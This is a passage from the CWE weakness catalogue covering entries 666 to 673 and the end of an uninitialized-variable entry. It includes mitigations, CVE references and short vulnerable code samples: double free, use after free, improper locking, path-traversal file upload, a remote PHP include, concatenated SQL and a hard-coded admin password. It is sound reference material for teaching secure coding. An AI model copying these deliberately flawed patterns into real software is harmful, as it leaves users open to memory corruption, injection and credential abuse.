Availability	DoS: Crash, Exit, or Restart *The uninitialized data may contain values that cause program flow to change in ways that the programmer did not intend. For example, if an uninitialized variable is used as an array index in C, then its previous contents may*	

Scope	Impact	Likelihood
	produce an index that is outside the range of the array, possibly causing a crash or an exit in other environments.	

Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Initialization problems may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.

Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Phase: Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile your product with settings that generate warnings about uninitialized variables or data.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Demonstrative Examples

Example 1:

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Example Language: Java *(Bad)*

```
private boolean initialized = true;
public void someMethod() {
  if (!initialized) {
    // perform initialization tasks
    ...
    initialized = true;
  }
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl *(Bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
  $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
  DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C *(Bad)*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Observed Examples

CWE-666: Operation on Resource in Wrong Phase of Lifetime

Weakness ID : 666
Structure : Simple
Abstraction : Class

Description

The product performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors.

Extended Description

A resource's lifecycle includes several phases: initialization, use, and release. For each phase, it is important to follow the specifications outlined for how to operate on the resource and to ensure that the resource is in the expected phase. Otherwise, if a resource is in one phase but the operation is not valid for that phase (i.e., an incorrect phase of the resource's lifetime), then this can produce resultant weaknesses. For example, using a resource before it has been fully initialized could cause corruption or incorrect data to be used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1466
ParentOf	V	415	Double Free	1016
ParentOf	V	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	1342
ParentOf	V	605	Multiple Binds to the Same Port	1367
ParentOf	C	672	Operation on a Resource after Expiration or Release	1491
ParentOf	B	826	Premature Release of Resource During Expected Lifetime	1747

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Architecture and Design

Follow the resource's lifecycle from creation to release.

Demonstrative Examples

Example 1:

The following code shows a simple example of a double free vulnerability.

Example Language: C *(Bad)*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
  free(ptr);
```

```
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Observed Examples

Reference	Description
CVE-2006-5051	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415). *https://www.cve.org/CVERecord?id=CVE-2006-5051*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CERT C Secure Coding	MEM30-C	CWE More Abstract	Do not access freed memory

CWE-667: Improper Locking

Weakness ID : 667
Structure : Simple
Abstraction : Class

Description

The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.

Extended Description

Locking is a type of synchronization behavior that ensures that multiple independently-operating processes or threads do not interfere with each other when accessing the same resource. All processes/threads are expected to follow the same steps for locking. If these steps are not followed precisely - or if no locking is done at all - then another process/thread could modify the shared

resource in a way that is not visible or predictable to the original process. This can lead to data or memory corruption, denial of service, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) *Inconsistent locking discipline can lead to deadlock.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Libraries or Frameworks

Use industry standard APIs to implement locking mechanism.

Demonstrative Examples

Example 1:

In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized.

Example Language: Java *(Bad)*

```
private long someLongValue;
public long getLongValue() {
   return someLongValue;
}
public void setLongValue(long l) {
   someLongValue = l;
}
```

Example 2:

This code tries to obtain a lock for a file, then writes to it.

Example Language: PHP *(Bad)*

```
function writeToLog($message){
   $logfile = fopen("logFile.log", "a");
   //attempt to get logfile lock
   if (flock($logfile, LOCK_EX)) {
      fwrite($logfile,$message);
      // unlock logfile
      flock($logfile, LOCK_UN);
   }
   else {
      print "Could not obtain lock on logFile.log, message not recorded\n";
   }
}
fclose($logFile);
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

Example 3:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C *(Bad)*

```
void f(pthread_mutex_t *mutex) {
   pthread_mutex_lock(mutex);
   /* access shared resource */
   pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: C *(Good)*

```
int f(pthread_mutex_t *mutex) {
   int result;
   result = pthread_mutex_lock(mutex);
   if (0 != result)
      return result;
   /* access shared resource */
   return pthread_mutex_unlock(mutex);
}
```

Example 4:

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

Example Language: Java *(Bad)*

```
if (helper == null) {
   synchronized (this) {
      if (helper == null) {
         helper = new Helper();
      }
   }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

Example Language: Java *(Bad)*

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

Observed Examples

Reference	Description
CVE-2021-1782	Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2021-1782*
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice *https://www.cve.org/CVERecord?id=CVE-2009-0935*
CVE-2010-4210	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory. *https://www.cve.org/CVERecord?id=CVE-2010-4210*

Reference	Description
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash. *https://www.cve.org/CVERecord?id=CVE-2008-4302*
CVE-2009-1243	OS kernel performs an unlock in some incorrect circumstances, leading to panic. *https://www.cve.org/CVERecord?id=CVE-2009-1243*
CVE-2009-2857	OS deadlock *https://www.cve.org/CVERecord?id=CVE-2009-2857*
CVE-2009-1961	OS deadlock involving 3 separate functions *https://www.cve.org/CVERecord?id=CVE-2009-1961*
CVE-2009-2699	deadlock in library *https://www.cve.org/CVERecord?id=CVE-2009-2699*
CVE-2009-4272	deadlock triggered by packets that force collisions in a routing table *https://www.cve.org/CVERecord?id=CVE-2009-4272*
CVE-2002-1850	read/write deadlock between web server and script *https://www.cve.org/CVERecord?id=CVE-2002-1850*
CVE-2004-0174	web server deadlock involving multiple listening connections *https://www.cve.org/CVERecord?id=CVE-2004-0174*
CVE-2009-1388	multiple simultaneous calls to the same function trigger deadlock. *https://www.cve.org/CVERecord?id=CVE-2009-1388*
CVE-2006-5158	chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833). *https://www.cve.org/CVERecord?id=CVE-2006-5158*
CVE-2006-4342	deadlock when an operation is performed on a resource while it is being removed. *https://www.cve.org/CVERecord?id=CVE-2006-4342*
CVE-2006-2374	Deadlock in device driver triggered by using file handle of a related device. *https://www.cve.org/CVERecord?id=CVE-2006-2374*
CVE-2006-2275	Deadlock when large number of small messages cannot be processed quickly enough. *https://www.cve.org/CVERecord?id=CVE-2006-2275*
CVE-2005-3847	OS kernel has deadlock triggered by a signal during a core dump. *https://www.cve.org/CVERecord?id=CVE-2005-3847*
CVE-2005-3106	Race condition leads to deadlock. *https://www.cve.org/CVERecord?id=CVE-2005-3106*
CVE-2005-2456	Chain: array index error (CWE-129) leads to deadlock (CWE-833) *https://www.cve.org/CVERecord?id=CVE-2005-2456*
CVE-2001-0682	Program can not execute when attacker obtains a mutex. *https://www.cve.org/CVERecord?id=CVE-2001-0682*
CVE-2002-1914	Program can not execute when attacker obtains a lock on a critical output file. *https://www.cve.org/CVERecord?id=CVE-2002-1914*
CVE-2002-1915	Program can not execute when attacker obtains a lock on a critical output file. *https://www.cve.org/CVERecord?id=CVE-2002-1915*
CVE-2002-0051	Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition. *https://www.cve.org/CVERecord?id=CVE-2002-0051*
CVE-2000-0338	Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness. *https://www.cve.org/CVERecord?id=CVE-2000-0338*
CVE-2000-1198	Chain: Lock files with predictable names. Resultant from randomness. *https://www.cve.org/CVERecord?id=CVE-2000-1198*

Reference	Description
CVE-2002-1869	Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close. *https://www.cve.org/CVERecord?id=CVE-2002-1869*

MemberOf Relationships

Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

CWE-668: Exposure of Resource to Wrong Sphere

Weakness ID : 668
Structure : Simple
Abstraction : Class

Description

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

Extended Description

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.

A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.

In either case, the end result is that a resource has been exposed to the wrong party.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Notes

Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

Background Details

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data Unexpected State	

Demonstrative Examples

Example 1:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

Example Language: HTML *(Good)*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java *(Bad)*

```
public class FileUploadServlet extends HttpServlet {
  ...
  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
  IOException {
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    String contentType = request.getContentType();
    // the starting position of the boundary header
    int ind = contentType.indexOf("boundary=");
    String boundary = contentType.substring(ind+9);
    String pLine = new String();
    String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
    // verify that content type is multipart form data
    if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
      // extract the filename from the Http header
      BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
      ...
      pLine = br.readLine();
      String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
      ...
      // output the file to the local upload directory
      try {
        BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
        for (String line; (line=br.readLine())!=null; ) {
          if (line.indexOf(boundary) == -1) {
            bw.write(line);
            bw.newLine();
            bw.flush();
          }
        } //end of for loop
        bw.close();
      } catch (IOException ex) {...}
      // output successful upload response HTML page
    }
    // output unsuccessful upload response HTML page
    else
    {...}
  }
    ...
}
```

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Example 2:

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

Example Language: PHP *(Bad)*

```
//assume the password is already encrypted, avoiding CWE-312
function authenticate($username,$password){
   include("http://external.example.com/dbInfo.php");
   //dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
   mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
   mysql_select_db($dbname);
   $query = 'Select * from users where username='.$username.' And password='.$password;
   $result = mysql_query($query);
   if(mysql_numrows($result) == 1){
      mysql_close();
      return true;
   }
   else{
      mysql_close();
      return false;
   }
}
```

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themself to access the application without a real user account.

This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack.

Example 3:

This code either generates a public HTML user information page or a JSON response containing the same user information.

Example Language: PHP *(Bad)*

```
// API flag, output JSON if set
$json = $_GET['json']
$username = $_GET['user']
if(!$json)
{
   $record = getUserRecord($username);
   foreach($record as $fieldName => $fieldValue)
   {
      if($fieldName == "email_address") {
         // skip displaying user emails
         continue;
      }
      else{
         writeToHtmlPage($fieldName,$fieldValue);
      }
   }
}
else
{
   $record = getUserRecord($username);
```

```
    echo json_encode($record);
}
```

The programmer is careful to not display the user's e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user's e-mail address.

Observed Examples

Reference	Description
CVE-2021-22909	Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494). *https://www.cve.org/CVERecord?id=CVE-2021-22909*
CVE-2023-5227	PHP-based FAQ management app does not check the MIME type for uploaded images *https://www.cve.org/CVERecord?id=CVE-2023-5227*
CVE-2005-0406	Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error). *https://www.cve.org/CVERecord?id=CVE-2005-0406*

MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2582

CWE-670: Always-Incorrect Control Flow Implementation

Weakness ID : 670
Structure : Simple
Abstraction : Class

Description

The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.

Extended Description

This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then the logic is always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1529
ParentOf	B	480	Use of Incorrect Operator	1160
ParentOf	B	483	Incorrect Block Delimitation	1170
ParentOf	B	484	Omitted Break Statement in Switch	1172
ParentOf	B	617	Reachable Assertion	1390
ParentOf	B	698	Execution After Redirect (EAR)	1545
ParentOf	B	783	Operator Precedence Logic Error	1662

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	617	Reachable Assertion	1390

Common Consequences

Scope	Impact	Likelihood
Other	Other Alter Execution Logic	

Demonstrative Examples

Example 1:

This code queries a server and displays its status when a request comes from an authorized IP address.

Example Language: PHP *(Bad)*

```
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipAllowList)){
   echo "You are not authorized to view this page";
   http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...
```

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

Example 2:

In this example, the programmer has indented the statements to call Do_X() and Do_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

Example Language: C *(Bad)*

```
if (condition==true)
   Do_X();
   Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Example 3:

In both of these examples, a message is printed based on the month passed into the function:

Example Language: Java *(Bad)*

```
public void printMessage(int month){
   switch (month) {
      case 1: print("January");
      case 2: print("February");
      case 3: print("March");
      case 4: print("April");
      case 5: print("May");
      case 6: print("June");
      case 7: print("July");
      case 8: print("August");
      case 9: print("September");
      case 10: print("October");
      case 11: print("November");
      case 12: print("December");
   }
   println(" is a great month");
}
```

Example Language: C *(Bad)*

```
void printMessage(int month){
   switch (month) {
      case 1: printf("January");
      case 2: printf("February");
      case 3: printf("March");
      case 4: printf("April");
      case 5: printff("May");
      case 6: printf("June");
      case 7: printf("July");
      case 8: printf("August");
      case 9: printf("September");
      case 10: printf("October");
      case 11: printf("November");
      case 12: printf("December");
   }
   printf(" is a great month");
}
```

Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.

Example 4:

In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn't entered an email address in an HTML form.

Example Language: Java *(Bad)*

```
String email = request.getParameter("email_address");
assert email != null;
```

Observed Examples

Reference	Description
CVE-2021-3011	virtual interrupt controller in a virtualization product allows crash of host by writing a certain invalid value to a register, which triggers a fatal error instead of returning an error code *https://www.cve.org/CVERecord?id=CVE-2021-3011*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	977	SFP Secondary Cluster: Design	888	2444
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2613
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2573

Notes

Maintenance

This node could possibly be split into lower-level nodes. "Early Return" is for returning control to the caller too soon (e.g., CWE-584). "Excess Return" is when control is returned too far up the call stack (CWE-600, CWE-395). "Improper control limitation" occurs when the product maintains control at a lower level of execution, when control should be returned "further" up the call stack (CWE-455). "Incorrect syntax" covers code that's "just plain wrong" such as CWE-484 and CWE-483.

CWE-671: Lack of Administrator Control over Security

Weakness ID : 671
Structure : Simple
Abstraction : Class

Description

The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator.

Extended Description

If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	657	Violation of Secure Design Principles	1457
ParentOf	B	447	Unimplemented or Unsupported Feature in UI	1083
ParentOf	B	798	Use of Hard-coded Credentials	1703

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2462

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Demonstrative Examples

Example 1:

The following code is an example of an internal hard-coded password in the back-end:

Example Language: C *(Bad)*

```
int VerifyAdmin(char *password) {
   if (strcmp(password, "Mew!")) {
      printf("Incorrect Password!\n");
      return(0)
   }
   printf("Entering Diagnostic Mode...\n");
   return(1);
}
```

Example Language: Java *(Bad)*

```
int VerifyAdmin(String password) {
   if (!password.equals("Mew!")) {
      return(0)
   }
   //Diagnostic Mode
   return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Observed Examples

Reference	Description
CVE-2022-29953	Condition Monitor firmware has a maintenance interface with hard-coded credentials *https://www.cve.org/CVERecord?id=CVE-2022-29953*
CVE-2000-0127	GUI configuration tool does not enable a security option when a checkbox is selected, although that option is honored when manually set in the configuration file. *https://www.cve.org/CVERecord?id=CVE-2000-0127*

CWE-672: Operation on a Resource after Expiration or Release

Weakness ID : 672
Structure : Simple
Abstraction : Class

Description

The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ParentOf	V	416	Use After Free	1020

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Modify Application Data Read Application Data *If a released resource is subsequently reused or reallocated, then an attempt to use the original resource might allow access to sensitive data that is associated with a different user or entity.*	
Other	Other	

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *When a resource is released it might not be in an expected state, later attempts to access the resource may lead to resultant errors that may lead to a crash.*	

Demonstrative Examples

Example 1:

The following code shows a simple example of a use after free error:

Example Language: C *(Bad)*

```
char* ptr = (char*)malloc (SIZE);
if (err) {
   abrt = 1;
   free(ptr);
}
...
if (abrt) {
   logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2:

The following code shows a simple example of a double free error:

Example Language: C *(Bad)*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
   free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 3:

In the following C/C++ example the method processMessage is used to process a message received in the input array of char arrays. The input message array contains two char arrays: the first is the length of the message and the second is the body of the message. The length of the message is retrieved and used to allocate enough memory for a local char array, messageBody, to be created for the message body. The messageBody is processed in the method processMessageBody that will return an error if an error occurs while processing. If an error occurs then the return result variable is set to indicate an error and the messageBody char array memory is released using the method free and an error message is sent to the logError method.

Example Language: C *(Bad)*

```
#define FAIL 0
```

```
#define SUCCESS 1
#define ERROR -1
#define MAX_MESSAGE_SIZE 32
int processMessage(char **message)
{
   int result = SUCCESS;
   int length = getMessageLength(message[0]);
   char *messageBody;
   if ((length > 0) && (length < MAX_MESSAGE_SIZE)) {
      messageBody = (char*)malloc(length*sizeof(char));
      messageBody = &message[1][0];
      int success = processMessageBody(messageBody);
      if (success == ERROR) {
         result = ERROR;
         free(messageBody);
      }
   }
   else {
      printf("Unable to process message; invalid message length");
      result = FAIL;
   }
   if (result == ERROR) {
      logError("Error processing message", messageBody);
   }
   return result;
}
```

However, the call to the method logError includes the messageBody after the memory for messageBody has been released using the free method. This can cause unexpected results and may lead to system crashes. A variable should never be used after its memory resources have been released.

Example Language: C *(Good)*

```
...
messageBody = (char*)malloc(length*sizeof(char));
messageBody = &message[1][0];
int success = processMessageBody(messageBody);
if (success == ERROR) {
   result = ERROR;
   logError("Error processing message", messageBody);
   free(messageBody);
}
...
```

Observed Examples

Reference	Description
CVE-2009-3547	Chain: race condition (CWE-362) might allow resource to be released before operating on it, leading to NULL dereference (CWE-476) *https://www.cve.org/CVERecord?id=CVE-2009-3547*

CWE-673: External Influence of Sphere Definition

Weakness ID : 673
Structure : Simple
Abstraction : Class

Description

The product does not prevent the definition of control spheres from external actors.

Extended Description

Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

